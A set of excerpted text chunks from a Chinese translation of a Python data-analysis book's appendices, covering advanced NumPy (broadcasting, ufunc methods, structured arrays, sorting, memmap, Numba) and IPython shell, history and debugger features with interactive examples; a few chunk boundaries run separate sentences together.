    {"text": "根据该原则，要在1轴向上做减法 （即各行减去行平均值），较小的那个数组的形状必须是(4,1)： In [87]: arr Out[87]: array([[ 0.0009, 1.3438, -0.7135], [-0.8312, -2.3702, -1.8608], [-0.8608, 0.5601, -1.2659], [ 0.1198, -1.0635, 0.3329]]) In [88]: row_means = arr.mean(1) In [89]: row_means.shape Out[89]: (4,) In [90]: row_means.reshape((4, 1)) Out[90]: array([[ 0.2104], [-1.6874], [-0.5222], 466 [-0.2036]]) In [91]: demeaned = arr - row_means.reshape((4, 1)) In [92]: demeaned.mean(1) Out[92]: array([ 0., -0., 0., 0.]) 图A-5说明了该运算的过程。"},
    {"text": "如果不然，你就会得到下面 这样一个错误： 467 In [93]: arr - arr.mean(1) --------------------------------------------------------------------------- ValueError Traceback (most recent call last) <ipython-input-93-7b87b85a20b2> in <module>() ----> 1 arr - arr.mean(1) ValueError: operands could not be broadcast together with shapes (4,3) (4,) 人们经常需要通过算术运算过程将较低维度的数组在除0轴以外的其他轴向上广播。"},
    {"text": "在上面那个行距平化的例子中，这就意味着要将行平均值的形 状变成(4,1)而不是(4,)： In [94]: arr - arr.mean(1).reshape((4, 1)) Out[94]: array([[-0.2095, 1.1334, -0.9239], [ 0.8562, -0.6828, -0.1734], [-0.3386, 1.0823, -0.7438], [ 0.3234, -0.8599, 0.5365]]) 对于三维的情况，在三维中的任何一维上广播其实也就是将数据重塑为兼容的形状而已。"},
    {"text": "下面这段代码通过特殊的 np.newaxis属性以及“全”切片来插入新轴： In [95]: arr = np.zeros((4, 4)) 468 In [96]: arr_3d = arr[:, np.newaxis, :] In [97]: arr_3d.shape Out[97]: (4, 1, 4) In [98]: arr_1d = np.random.normal(size=3) In [99]: arr_1d[:, np.newaxis] Out[99]: array([[-2.3594], [-0.1995], [-1.542 ]]) In [100]: arr_1d[np.newaxis, :] Out[100]: array([[-2.3594, -0.1995, -1.542 ]]) 因此，如果我们有一个三维数组，并希望对轴2进行距平化，那么只需要编写下面这样的代码就可 以了： In [101]: arr = np.random.randn(3, 4, 5) In [102]: depth_means = arr.mean(2) In [103]: depth_means Out[103]: array([[-0.4735, 0.3971, -0.0228, 0.2001], [-0.3521, -0.281 , -0.071 , -0.1586], [ 0.6245, 0.6047, 0.4396, -0.2846]]) In [104]: depth_means.shape Out[104]: (3, 4) In [105]: demeaned = arr - depth_means[:, :, np.newaxis] In [106]: demeaned.mean(2) Out[106]: array([[ 0., 0., -0., -0.], [ 0., 0., -0., 0.], [ 0., 0., -0., -0.]]) 有些读者可能会想，在对指定轴进行距平化时，有没有一种既通用又不牺牲性能的方法呢？"},
    {"text": "实际上 是有的，但需要一些索引方面的技巧： def demean_axis(arr, axis=0): means = arr.mean(axis) # This generalizes things like [:, :, np.newaxis] to N dimensions 469 indexer = [slice(None)] * arr.ndim indexer[axis] = np.newaxis return arr - means[indexer] 通过广播设置数组的值 算术运算所遵循的广播原则同样也适用于通过索引机制设置数组值的操作。"},
    {"text": "对于最简单的情况，我 们可以这样做： In [107]: arr = np.zeros((4, 3)) In [108]: arr[:] = 5 In [109]: arr Out[109]: array([[ 5., 5., 5.], [ 5., 5., 5.], [ 5., 5., 5.], [ 5., 5., 5.]]) 但是，假设我们想要用一个一维数组来设置目标数组的各列，只要保证形状兼容就可以了： In [110]: col = np.array([1.28, -0.42, 0.44, 1.6]) In [111]: arr[:] = col[:, np.newaxis] In [112]: arr Out[112]: array([[ 1.28, 1.28, 1.28], [-0.42, -0.42, -0.42], [ 0.44, 0.44, 0.44], [ 1.6 , 1.6 , 1.6 ]]) In [113]: arr[:2] = [[-1.37], [0.509]] In [114]: arr Out[114]: array([[-1.37 , -1.37 , -1.37 ], [ 0.509, 0.509, 0.509], [ 0.44 , 0.44 , 0.44 ], [ 1.6 , 1.6 , 1.6 ]]) A.4 ufunc 高级应用 470 虽然许多NumPy用户只会用到通用函数所提供的快速的元素级运算，但通用函数实际上还有一些 高级用法能使我们丢开循环而编写出更为简洁的代码。"},
    {"text": "例如，我 们可以用np.add.reduce对数组中各个元素进行求和： In [115]: arr = np.arange(10) In [116]: np.add.reduce(arr) Out[116]: 45 In [117]: arr.sum() Out[117]: 45 起始值取决于ufunc（对于add的情况，就是0）。"},
    {"text": "在下面这个例子中，我们用 np.logical_and检查数组各行中的值是否是有序的： In [118]: np.random.seed(12346) # for reproducibility In [119]: arr = np.random.randn(5, 5) In [120]: arr[::2].sort(1) # sort a few rows In [121]: arr[:, :-1] < arr[:, 1:] Out[121]: array([[ True, True, True, True], [False, True, False, False], [ True, True, True, True], [ True, False, True, True], [ True, True, True, True]], dtype=bool) In [122]: np.logical_and.reduce(arr[:, :-1] < arr[:, 1:], axis=1) Out[122]: array([ True, False, True, False, True], dtype=bool) 注意，logical_and.reduce跟all方法是等价的。"},
    {"text": "它产生一个跟原数组大小相同的中 间“累计”值数组： 471 In [123]: arr = np.arange(15).reshape((3, 5)) In [124]: np.add.accumulate(arr, axis=1) Out[124]: array([[ 0, 1, 3, 6, 10], [ 5, 11, 18, 26, 35], [10, 21, 33, 46, 60]]) outer用于计算两个数组的叉积： In [125]: arr = np.arange(3).repeat([1, 2, 2]) In [126]: arr Out[126]: array([0, 1, 1, 2, 2]) In [127]: np.multiply.outer(arr, np.arange(5)) Out[127]: array([[0, 0, 0, 0, 0], [0, 1, 2, 3, 4], [0, 1, 2, 3, 4], [0, 2, 4, 6, 8], [0, 2, 4, 6, 8]]) outer输出结果的维度是两个输入数据的维度之和： In [128]: x, y = np.random.randn(3, 4), np.random.randn(5) In [129]: result = np.subtract.outer(x, y) In [130]: result.shape Out[130]: (3, 4, 5) 最后一个方法reduceat用于计算“局部约简”，其实就是一个对数据各切片进行聚合的groupby运 算。 它接受一组用于指示如何对值进行拆分和聚合的“面元边界”： In [131]: arr = np.arange(10) In [132]: np.add.reduceat(arr, [0, 5, 8]) Out[132]: array([10, 18, 17]) 最终结果是在arr[0:5]、arr[5:8]以及arr[8:]上执行的约简。 跟其他方法一样，这里也可以传入一个 axis参数： In [133]: arr = np.multiply.outer(np.arange(4), np.arange(5)) 472 In [134]: arr Out[134]: array([[ 0, 0, 0, 0, 0], [ 0, 1, 2, 3, 4], [ 0, 2, 4, 6, 8], [ 0, 3, 6, 9, 12]]) In [135]: np.add.reduceat(arr, [0, 2, 4], axis=1) Out[135]: array([[ 0, 0, 0], [ 1, 5, 4], [ 2, 10, 8], [ 3, 15, 12]]) 表A-2总结了部分的ufunc方法。"},
    {"text": "例如，下面 是一个能够实现元素级加法的简单函数： In [136]: def add_elements(x, y): .....: return x + y In [137]: add_them = np.frompyfunc(add_elements, 2, 1) In [138]: add_them(np.arange(8), np.arange(8)) Out[138]: array([0, 2, 4, 6, 8, 10, 12, 14], dtype=object) 用frompyfunc创建的函数总是返回Python对象数组，这一点很不方便。"},
    {"text": "虽然没有frompyfunc那么强大，但可以让你指定输出类型： 473 In [139]: add_them = np.vectorize(add_elements, otypes=[np.float64]) In [140]: add_them(np.arange(8), np.arange(8)) Out[140]: array([ 0., 2., 4., 6., 8., 10., 12., 14.]) 虽然这两个函数提供了一种创建ufunc型函数的手段，但它们非常慢，因为它们在计算每个元素时 都要执行一次Python函数调用，这就会比NumPy自带的基于C的ufunc慢很多： In [141]: arr = np.random.randn(10000) In [142]: %timeit add_them(arr, arr) 4.12 ms +- 182 us per loop (mean +- std. dev. of 7 runs, 100 loops each) In [143]: %timeit np.add(arr, arr) 6.89 us +- 504 ns per loop (mean +- std. dev. of 7 runs, 100000 loops each) 本章的后面，我会介绍使用Numba字段名保存在dtype.names属性中。"},
    {"text": "在访问结构化数组的某个字段时，返回的是该数据的视图，所 以不会发生数据复制： In [149]: sarr['x'] Out[149]: array([ 1.5 , 3.1416]) 嵌套 dtype 和多维字段 在定义结构化dtype时，你可以再设置一个形状（可以是一个整数，也可以是一个元组）： In [150]: dtype = [('x', np.int64, 3), ('y', np.int32)] In [151]: arr = np.zeros(4, dtype=dtype) In [152]: arr Out[152]: array([([0, 0, 0], 0), ([0, 0, 0], 0), ([0, 0, 0], 0), ([0, 0, 0], 0)], dtype=[('x', '<i8', (3,)), ('y', '<i4')]) 在这种情况下，各个记录的x字段所表示的是一个长度为3的数组： In [153]: arr[0]['x'] Out[153]: array([0, 0, 0]) 这样，访问arr['x']即可得到一个二维数组，而不是前面那个例子中的一维数组： In [154]: arr['x'] Out[154]: array([[0, 0, 0], [0, 0, 0], [0, 0, 0], [0, 0, 0]]) 这就使你能用单个数组的内存块存放复杂的嵌套结构。"},
    {"text": "下面是一个简单的例子： In [155]: dtype = [('x', [('a', 'f8'), ('b', 'f4')]), ('y', np.int32)] In [156]: data = np.array([((1, 2), 5), ((3, 4), 6)], dtype=dtype) In [157]: data['x'] Out[157]: array([( 1., 2.), ( 3., 4.)], dtype=[('a', '<f8'), ('b', '<f4')]) 475 In [158]: data['y'] Out[158]: array([5, 6], dtype=int32) In [159]: data['x']['a'] Out[159]: array([ 1., 3.]) pandas的DataFrame并不直接支持该功能，但它的分层索引机制跟这个差不多。"},
    {"text": "由于数组中的每个元素在内存中都被表示为固定的字 节数，所以结构化数组能够提供非常快速高效的磁盘数据读写（包括内存映像）、网络传输等功 能。 结构化数组的另一个常见用法是，将数据文件写成定长记录字节流，这是C和C++代码中常见的数 据序列化手段（业界许多历史系统中都能找得到）。"},
    {"text": "也就是说，数组内容的重新排 列是不会产生新数组的： In [160]: arr = np.random.randn(6) In [161]: arr.sort() In [162]: arr Out[162]: array([-1.082 , 0.3759, 0.8014, 1.1397, 1.2888, 1.8413]) 在对数组进行就地排序时要注意一点，如果目标数组只是一个视图，则原始数组将会被修改： In [163]: arr = np.random.randn(3, 5) In [164]: arr Out[164]: array([[-0.3318, -1.4711, 0.8705, -0.0847, -1.1329], [-1.0111, -0.3436, 2.1714, 0.1234, -0.0189], [ 0.1773, 0.7424, 0.8548, 1.038 , -0.329 ]]) In [165]: arr[:, 0].sort() # Sort first column values in-place 476 In [166]: arr Out[166]: array([[-1.0111, -1.4711, 0.8705, -0.0847, -1.1329], [-0.3318, -0.3436, 2.1714, 0.1234, -0.0189], [ 0.1773, 0.7424, 0.8548, 1.038 , -0.329 ]]) 相反，numpy.sort会为原数组创建一个已排序副本。 另外，它所接受的参数（比如kind）跟 ndarray.sort一样： In [167]: arr = np.random.randn(5) In [168]: arr Out[168]: array([-1.1181, -0.2415, -2.0051, 0.7379, -1.0614]) In [169]: np.sort(arr) Out[169]: array([-2.0051, -1.1181, -1.0614, -0.2415, 0.7379]) In [170]: arr Out[170]: array([-1.1181, -0.2415, -2.0051, 0.7379, -1.0614]) 这两个排序方法都可以接受一个axis参数，以便沿指定轴向对各块数据进行单独排序： In [171]: arr = np.random.randn(3, 5) In [172]: arr Out[172]: array([[ 0.5955, -0.2682, 1.3389, -0.1872, 0.9111], [-0.3215, 1.0054, -0.5168, 1.1925, -0.1989], [ 0.3969, -1.7638, 0.6071, -0.2222, -0.2171]]) In [173]: arr.sort(axis=1) In [174]: arr Out[174]: array([[-0.2682, -0.1872, 0.5955, 0.9111, 1.3389], [-0.5168, -0.3215, -0.1989, 1.0054, 1.1925], [-1.7638, -0.2222, -0.2171, 0.3969, 0.6071]]) 你可能注意到了，这两个排序方法都不可以被设置为降序。"},
    {"text": "对ndarray也是如此： In [175]: arr[:, ::-1] Out[175]: array([[ 1.3389, 0.9111, 0.5955, -0.1872, -0.2682], 477 [ 1.1925, 1.0054, -0.1989, -0.3215, -0.5168], [ 0.6071, 0.3969, -0.2171, -0.2222, -1.7638]]) 间接排序： argsort 和 lexsort 在数据分析工作中，常常需要根据一个或多个键对数据集进行排序。"},
    {"text": "下面是一个简单的例子： In [176]: values = np.array([5, 0, 1, 3, 2]) In [177]: indexer = values.argsort() In [178]: indexer Out[178]: array([1, 2, 4, 3, 0]) In [179]: values[indexer] Out[179]: array([0, 1, 2, 3, 5]) 一个更复杂的例子，下面这段代码根据数组的第一行对其进行排序： In [180]: arr = np.random.randn(3, 5) In [181]: arr[0] = values In [182]: arr Out[182]: array([[ 5. , 0. , 1. , 3. , 2. ], [-0.3636, -0.1378, 2.1777, -0.4728, 0.8356], [-0.2089, 0.2316, 0.728 , -1.3918, 1.9956]]) In [183]: arr[:, arr[0].argsort()] Out[183]: array([[ 0. , 1. , 2. , 3. , 5. ], [-0.1378, 2.1777, 0.8356, -0.4728, -0.3636], [ 0.2316, 0.728 , 1.9956, -1.3918, -0.2089]]) lexsort跟argsort差不多，只不过它可以一次性对多个键数组执行间接排序（字典序）。 假设我们 想对一些以姓和名标识的数据进行排序： In [184]: first_name = np.array(['Bob', 'Jane', 'Steve', 'Bill', 'Barbara']) In [185]: last_name = np.array(['Jones', 'Arnold', 'Arnold', 'Jones', 'Walters']) 478 In [186]: sorter = np.lexsort((first_name, last_name)) In [187]: sorter Out[187]: array([1, 2, 3, 0, 4]) In [188]: zip(last_name[sorter], first_name[sorter]) Out[188]: <zip at 0x7fa203eda1c8> 刚开始使用lexsort的时候可能会比较容易头晕，这是因为键的应用顺序是从最后一个传入的算起 的。"},
    {"text": "对于相对位置具有实际意义的那些间接排 序而言，这一点非常重要： In [189]: values = np.array(['2:first', '2:second', '1:first', '1:second', .....: '1:third']) In [190]: key = np.array([2, 2, 1, 1, 1]) In [191]: indexer = key.argsort(kind='mergesort') In [192]: indexer Out[192]: array([2, 3, 4, 0, 1]) In [193]: values.take(indexer) Out[193]: array(['1:first', '1:second', '1:third', '2:first', '2:second'], dtype='<U8') mergesort（合并排序）是唯一的稳定排序，它保证有O(n log n)的性能（空间复杂度），但是其平 均性能比默认的quicksort（快速排序）要差。"},
    {"text": "NumPy有两个优化方法，numpy.partition 和np.argpartition，可以在第k个最小元素划分的数组： In [194]: np.random.seed(12345) In [195]: arr = np.random.randn(20) In [196]: arr Out[196]: array([-0.2047, 0.4789, -0.5194, -0.5557, 1.9658, 1.3934, 0.0929, 0.2817, 0.769 , 1.2464, 1.0072, -1.2962, 0.275 , 0.2289, 1.3529, 0.8864, -2.0016, -0.3718, 1.669 , -0.4386]) In [197]: np.partition(arr, 3) Out[197]: array([-2.0016, -1.2962, -0.5557, -0.5194, -0.3718, -0.4386, -0.2047, 0.2817, 0.769 , 0.4789, 1.0072, 0.0929, 0.275 , 0.2289, 1.3529, 0.8864, 1.3934, 1.9658, 1.669 , 1.2464]) 当你调用partition(arr, 3)，结果中的头三个元素是最小的三个，没有特定的顺序。 numpy.argpartition与numpy.argsort相似，会返回索引，重排数据为等价的顺序： In [198]: indices = np.argpartition(arr, 3) In [199]: indices Out[199]: array([16, 11, 3, 2, 17, 19, 0, 7, 8, 1, 10, 6, 12, 13, 14, 15, 5, 4, 18, 9]) In [200]: arr.take(indices) Out[200]: array([-2.0016, -1.2962, -0.5557, -0.5194, -0.3718, -0.4386, -0.2047, 0.2817, 0.769 , 0.4789, 1.0072, 0.0929, 0.275 , 0.2289, 1.3529, 0.8864, 1.3934, 1.9658, 1.669 , 1.2464]) numpy.searchsorted ：在有序数组中查找元素 searchsorted是一个在有序数组上执行二分查找的数组方法，只要将值插入到它返回的那个位置就 能维持数组的有序性： In [201]: arr = np.array([0, 1, 7, 12, 15]) In [202]: arr.searchsorted(9) 480 Out[202]: 3 你可以传入一组值就能得到一组索引： In [203]: arr.searchsorted([0, 8, 11, 16]) Out[203]: array([0, 3, 3, 5]) 从上面的结果中可以看出，对于元素0，searchsorted会返回0。 这是因为其默认行为是返回相等值 组的左侧索引： In [204]: arr = np.array([0, 0, 0, 1, 1, 1, 1]) In [205]: arr.searchsorted([0, 1]) Out[205]: array([0, 3]) In [206]: arr.searchsorted([0, 1], side='right') Out[206]: array([3, 7]) 再来看searchsorted的另一个用法，假设我们有一个数据数组（其中的值在0到10000之间），还 有一个表示“面元边界”的数组，我们希望用它将数据数组拆分开： In [207]: data = np.floor(np.random.uniform(0, 10000, size=50)) In [208]: bins = np.array([0, 100, 1000, 5000, 10000]) In [209]: data Out[209]: array([ 9940., 6768., 7908., 1709., 268., 8003., 9037., 246., 4917., 5262., 5963., 519., 8950., 7282., 8183., 5002., 8101., 959., 2189., 2587., 4681., 4593., 7095., 1780., 5314., 1677., 7688., 9281., 6094., 1501., 4896., 3773., 8486., 9110., 3838., 3154., 5683., 1878., 1258., 6875., 7996., 5735., 9732., 6340., 8884., 4954., 3516., 7142., 5039., 2256.]) 然后，为了得到各数据点所属区间的编号（其中1表示面元[0,100)），我们可以直接使用 searchsorted： In [210]: labels = bins.searchsorted(data) In [211]: labels Out[211]: array([4, 4, 4, 3, 2, 4, 4, 2, 3, 4, 4, 2, 4, 4, 4, 4, 4, 2, 3, 3, 3, 3, 4, 3, 4, 3, 4, 4, 4, 3, 3, 3, 4, 4, 3, 3, 4, 3, 3, 4, 4, 4, 4, 4, 4, 3, 3, 4, 4, 3]) 481 通过pandas的groupby使用该结果即可非常轻松地对原数据集进行拆分： In [212]: pd.Series(data).groupby(labels).mean() Out[212]: 2 498.000000 3 3064.277778 4 7389.035714 dtype: float64 A.7 用 Numba 编写快速 NumPy 函数 Numba是一个开源项目，它可以利用CPUs、GPUs或其它硬件为类似NumPy的数据创建快速函 数。"},
    {"text": "它使用了LLVM项目（In [214]: numba_mean_distance = nb.jit(mean_distance) 也可以写成装饰器： @nb.jit def mean_distance(x, y): nx = len(x) result = 0.0 count = 0 for i in range(nx): result += x[i] - y[i] count += 1 return result / count 它要比矢量化的NumPy快： In [215]: %timeit numba_mean_distance(x, y) 100 loops, best of 3: 10.3 ms per loop Numba不能编译Python代码，但它支持纯Python写的一个部分，可以编写数值算法。"},
    {"text": "前面的例子，我们还可以这样写： from numba import float64, njit @njit(float64(float64[:], float64[:])) def mean_distance(x, y): return (x - y).mean() 用 Numba 创建自定义 numpy.ufunc 对象 numba.vectorize创建了一个编译的NumPy ufunc，它与内置的ufunc很像。"},
    {"text": "考虑一个numpy.add的 Python例子： from numba import vectorize 483 @vectorize def nb_add(x, y): return x + y 现在有： In [13]: x = np.arange(10) In [14]: nb_add(x, x) Out[14]: array([ 0., 2., 4., 6., 8., 10., 12., 14., 16., 18.]) In [15]: nb_add.accumulate(x, 0) Out[15]: array([ 0., 1., 3., 6., 10., 15., 21., 28., 36., 45.]) A.8 高级数组输入输出 我在第4章中讲过，np.save和np.load可用于读写磁盘上以二进制格式存储的数组。"},
    {"text": "要创建一个内存映像，可以使用函数np.memmap并传入一个文件路径、数据类型、形状以及文件 模式： In [214]: mmap = np.memmap('mymmap', dtype='float64', mode='w+', .....: shape=(10000, 10000)) In [215]: mmap Out[215]: memmap([[ 0., 0., 0., ..., 0., 0., 0.], [ 0., 0., 0., ..., 0., 0., 0.], [ 0., 0., 0., ..., 0., 0., 0.], ..., [ 0., 0., 0., ..., 0., 0., 0.], [ 0., 0., 0., ..., 0., 0., 0.], [ 0., 0., 0., ..., 0., 0., 0.]]) 484 对memmap切片将会返回磁盘上的数据的视图： In [216]: section = mmap[:5] 如果将数据赋值给这些视图：数据会先被缓存在内存中（就像是Python的文件对象），调用flush 即可将其写入磁盘： In [217]: section[:] = np.random.randn(5, 10000) In [218]: mmap.flush() In [219]: mmap Out[219]: memmap([[ 0.7584, -0.6605, 0.8626, ..., 0.6046, -0.6212, 2.0542], [-1.2113, -1.0375, 0.7093, ..., -1.4117, -0.1719, -0.8957], [-0.1419, -0.3375, 0.4329, ..., 1.2914, -0.752 , -0.44 ], ..., [ 0. , 0. , 0. , ..., 0. , 0. , 0. ], [ 0. , 0. , 0. , ..., 0. , 0. , 0. ], [ 0. , 0. , 0. , ..., 0. , 0. , 0. ]]) In [220]: del mmap 只要某个内存映像超出了作用域，它就会被垃圾回收器回收，之前对其所做的任何修改都会被写入 磁盘。 当打开一个已经存在的内存映像时，仍然需要指明数据类型和形状，因为磁盘上的那个文件 只是一块二进制数据而已，没有任何元数据： In [221]: mmap = np.memmap('mymmap', dtype='float64', shape=(10000, 10000)) In [222]: mmap Out[222]: memmap([[ 0.7584, -0.6605, 0.8626, ..., 0.6046, -0.6212, 2.0542], [-1.2113, -1.0375, 0.7093, ..., -1.4117, -0.1719, -0.8957], [-0.1419, -0.3375, 0.4329, ..., 1.2914, -0.752 , -0.44 ], ..., [ 0. , 0. , 0. , ..., 0. , 0. , 0. ], [ 0. , 0. , 0. , ..., 0. , 0. , 0. ], [ 0. , 0. , 0. , ..., 0. , 0. , 0. ]]) 内存映像可以使用前面介绍的结构化或嵌套dtype。"},
    {"text": "HDF5 及其他数组存储方式 485 PyTables和h5py这两个Python项目可以将NumPy的数组数据存储为高效且可压缩的HDF5格式 （HDF意思是“层次化数据格式”）。"},
    {"text": "如果单用NumPy无论如何都达不到所需的性能指标，就可以考虑一下用C、Fortran或Cython（等 连续内存的重要性 虽然这个话题有点超出本书的范围，但还是要提一下，因为在某些应用场景中，数组的内存布局可 以对计算速度造成极大的影响。"},
    {"text": "运算过程中访问连续内存块（例如，对以C顺序存储的数组的行求和）一般是最快的，因为 内存子系统会将适当的内存块缓存到超高速的L1或L2CPU Cache中。"},
    {"text": "通过ndarray的flags属性即可 查看这些信息： In [225]: arr_c = np.ones((1000, 1000), order='C') In [226]: arr_f = np.ones((1000, 1000), order='F') In [227]: arr_c.flags Out[227]: C_CONTIGUOUS : True F_CONTIGUOUS : False OWNDATA : True WRITEABLE : True ALIGNED : True UPDATEIFCOPY : False 486 In [228]: arr_f.flags Out[228]: C_CONTIGUOUS : False F_CONTIGUOUS : True OWNDATA : True WRITEABLE : True ALIGNED : True UPDATEIFCOPY : False In [229]: arr_f.flags.f_contiguous Out[229]: True 在这个例子中，对两个数组的行进行求和计算，理论上说，arr_c会比arr_f快，因为arr_c的行在内 存中是连续的。"},
    {"text": "我们可以在IPython中用%timeit来确认一下： In [230]: %timeit arr_c.sum(1) 784 us +- 10.4 us per loop (mean +- std. dev. of 7 runs, 1000 loops each) In [231]: %timeit arr_f.sum(1) 934 us +- 29 us per loop (mean +- std. dev. of 7 runs, 1000 loops each) 如果想从NumPy中提升性能，这里就应该是下手的地方。"},
    {"text": "如果数组的内存顺序不符合你的要求， 使用copy并传入'C'或'F'即可解决该问题： In [232]: arr_f.copy('C').flags Out[232]: C_CONTIGUOUS : True F_CONTIGUOUS : False OWNDATA : True WRITEABLE : True ALIGNED : True UPDATEIFCOPY : False 注意，在构造数组的视图时，其结果不一定是连续的： In [233]: arr_c[:50].flags.contiguous Out[233]: True In [234]: arr_c[:, :50].flags Out[234]: C_CONTIGUOUS : False F_CONTIGUOUS : False OWNDATA : False WRITEABLE : True ALIGNED : True UPDATEIFCOPY : False 487 488 第2章中，我们学习了IPython shell和Jupyter notebook的基础。"},
    {"text": "假设你必须要执行： In[7]: %run first/second/third/data_script.py 运行成功，然后检查结果，发现计算有错。 解决完问题，然后修改了data_script.py，你就可以输 入一些%run命令，然后按Ctrl+P或上箭头。"},
    {"text": "要使用这个功能，先按Ctrl-R，然后输入一些包含于输入行 的想要搜索的字符： In [1]: a_command = foo(x, y, z) (reverse-i-search)`com': a_command = foo(x, y, z) Ctrl-R会循环历史，找到匹配字符的每一行。"},
    {"text": "前面两个输出会分别存储在 （一个下划线）和 _ （两个下划线） 变量： In [24]: 2 ** 27 489 Out[24]: 134217728 In [25]: _ Out[25]: 134217728 输入变量是存储在名字类似_iX的变量中，X是输入行的编号。"},
    {"text": "因此在输入第27行之后，会有两个新变量_27 （输出）和_i27（输入）: In [26]: foo = 'bar' In [27]: foo Out[27]: 'bar' In [28]: _i27 Out[28]: u'foo' In [29]: _27 Out[29]: 'bar' 因为输入变量是字符串，它们可以用Python的exec关键字再次执行： In [30]: exec(_i27) 这里，_i27是在In [27]输入的代码。"},
    {"text": "警告：当处理非常大的数据集时，要记住IPython的输入和输出的历史会造成被引用的对象不 被垃圾回收（释放内存），即使你使用del关键字从交互命名空间删除变量。"},
    {"text": "这意味着，在同时做其它事时，无需退出 IPython，就可以像Windows或Unix使用命令行操作，包括shell命令、更改目录、用Python对象 （列表或字符串）存储结果。"},
    {"text": "例如，在我联网的基于Linux 的主机上，我可以获得IP地址为Python变量： In [1]: ip_info = !ifconfig wlan0 | grep \"inet \" In [2]: ip_info[0].strip() Out[2]: 'inet addr:10.0.0.11 Bcast:10.0.0.255 Mask:255.255.255.0' 返回的Python对象ip_info实际上是一个自定义的列表类型，它包含着多种版本的控制台输出。"},
    {"text": "要这么做，可以在变量名前面加上 $符号： In [3]: foo = 'test*' In [4]: !ls $foo test4.py test.py test.xml %alias魔术函数可以自定义shell命令的快捷方式。"},
    {"text": "看一个简单的例子： In [1]: %alias ll ls -l In [2]: ll /usr total 332 491 drwxr-xr-x 2 root root 69632 2012-01-29 20:36 bin/ drwxr-xr-x 2 root root 4096 2010-08-23 12:05 games/ drwxr-xr-x 123 root root 20480 2011-12-26 18:08 include/ drwxr-xr-x 265 root root 126976 2012-01-29 20:36 lib/ drwxr-xr-x 44 root root 69632 2011-12-26 18:08 lib32/ lrwxrwxrwx 1 root root 3 2010-08-23 16:02 lib64 -> lib/ drwxr-xr-x 15 root root 4096 2011-10-13 19:03 local/ drwxr-xr-x 2 root root 12288 2012-01-12 09:32 sbin/ drwxr-xr-x 387 root root 12288 2011-11-04 22:53 share/ drwxrwsr-x 24 root src 4096 2011-07-17 18:38 src/ 你可以执行多个命令，就像在命令行中一样，只需用分号隔开： In [558]: %alias test_alias (cd examples; ls; cd ..) In [559]: test_alias macrodata.csv spx.csv tips.csv 当session结束，你定义的别名就会失效。"},
    {"text": "例如，假设你想创建一个书签，指向本书的补充内容： In [6]: %bookmark py4da /home/wesm/code/pydata-book 这么做之后，当使用%cd魔术命令，就可以使用定义的书签： In [7]: cd py4da (bookmark:py4da) -> /home/wesm/code/pydata-book /home/wesm/code/pydata-book 如果书签的名字，与当前工作目录的一个目录重名，你可以使用-b标志来覆写，使用书签的位置。 使用%bookmark的-l选项，可以列出所有的书签： In [8]: %bookmark -l Current bookmarks: py4da -> /home/wesm/code/pydata-book-source 书签，和别名不同，在session之间是保持的。"},
    {"text": "异常发生之后就输入%debug，就启动了调试器，进入抛出异常的堆栈框架： In [2]: run examples/ipython_bug.py --------------------------------------------------------------------------- AssertionError Traceback (most recent call last) /home/wesm/code/pydata-book/examples/ipython_bug.py in <module>() 13 throws_an_exception() 14 ---> 15 calling_things() /home/wesm/code/pydata-book/examples/ipython_bug.py in calling_things() 11 def calling_things(): 12 works_fine() ---> 13 throws_an_exception() 14 15 calling_things() /home/wesm/code/pydata-book/examples/ipython_bug.py in throws_an_exception() 7 a = 5 8 b = 6 ----> 9 assert(a + b == 10) 10 11 def calling_things(): AssertionError: In [3]: %debug > /home/wesm/code/pydata-book/examples/ipython_bug.py(9)throws_an_exception() 8 b = 6 ----> 9 assert(a + b == 10) 10 ipdb> 一旦进入调试器，你就可以执行任意的Python代码，在每个堆栈框架中检查所有的对象和数据 （解释器会保持它们活跃）。"},
    {"text": "通过u（up）和d（down），你可 以在不同等级的堆栈踪迹切换： 493 ipdb> u > /home/wesm/code/pydata-book/examples/ipython_bug.py(13)calling_things() 12 works_fine() ---> 13 throws_an_exception() 14 执行%pdb命令，可以在发生任何异常时让IPython自动启动调试器，许多用户会发现这个功能非常 好用。"},
    {"text": "你必须马上按s（step）以进入脚本： In [5]: run -d examples/ipython_bug.py Breakpoint 1 at /home/wesm/code/pydata-book/examples/ipython_bug.py:1 NOTE: Enter 'c' at the ipdb> prompt to start your script. > <string>(1)<module>() ipdb> s --Call-- > /home/wesm/code/pydata-book/examples/ipython_bug.py(1)<module>() 1---> 1 def works_fine(): 2 a = 5 3 b = 6 然后，你就可以决定如何工作。 例如，在前面的异常，我们可以设置一个断点，就在调用 works_fine之前，然后运行脚本，在遇到断点时按c（continue）： ipdb> b 12 ipdb> c > /home/wesm/code/pydata-book/examples/ipython_bug.py(12)calling_things() 11 def calling_things(): 2--> 12 works_fine() 13 throws_an_exception() 这时，你可以step进入works_fine()，或通过按n（next）执行works_fine()，进入下一行： ipdb> n > /home/wesm/code/pydata-book/examples/ipython_bug.py(13)calling_things() 2 12 works_fine() ---> 13 throws_an_exception() 14 494 然后，我们可以进入throws_an_exception，到达发生错误的一行，查看变量。"},
    {"text": "可以查看内容： ipdb> s --Call-- > /home/wesm/code/pydata-book/examples/ipython_bug.py(6)throws_an_exception() 5 ----> 6 def throws_an_exception(): 7 a = 5 ipdb> n > /home/wesm/code/pydata-book/examples/ipython_bug.py(7)throws_an_exception() 6 def throws_an_exception(): ----> 7 a = 5 8 b = 6 ipdb> n > /home/wesm/code/pydata-book/examples/ipython_bug.py(8)throws_an_exception() 7 a = 5 ----> 8 b = 6 9 assert(a + b == 10) ipdb> n > /home/wesm/code/pydata-book/examples/ipython_bug.py(9)throws_an_exception() 8 b = 6 ----> 9 assert(a + b == 10) 10 ipdb> !a 5 ipdb> !b 6 提高使用交互式调试器的熟练度需要练习和经验。"},
    {"text": "还有两种方法是你可能想用的（像我一样，将其添加到IPython的配 置）： from IPython.core.debugger import Pdb def set_trace(): Pdb(color_scheme='Linux').set_trace(sys._getframe().f_back) def debug(f, *args, **kwargs): pdb = Pdb(color_scheme='Linux') return pdb.runcall(f, *args, **kwargs) 第一个函数set_trace非常简单。 如果你想暂时停下来进行仔细检查（比如发生异常之前），可以 在代码的任何位置使用set_trace： In [7]: run examples/ipython_bug.py > /home/wesm/code/pydata-book/examples/ipython_bug.py(16)calling_things() 15 set_trace() ---> 16 throws_an_exception() 17 按c（continue）可以让代码继续正常行进。"},
    {"text": "假设我们写了一个下面的 函数，想逐步分析它的逻辑： def f(x, y, z=1): tmp = x + y return tmp / z 普通地使用f，就会像f(1, 2, z=3)。"},
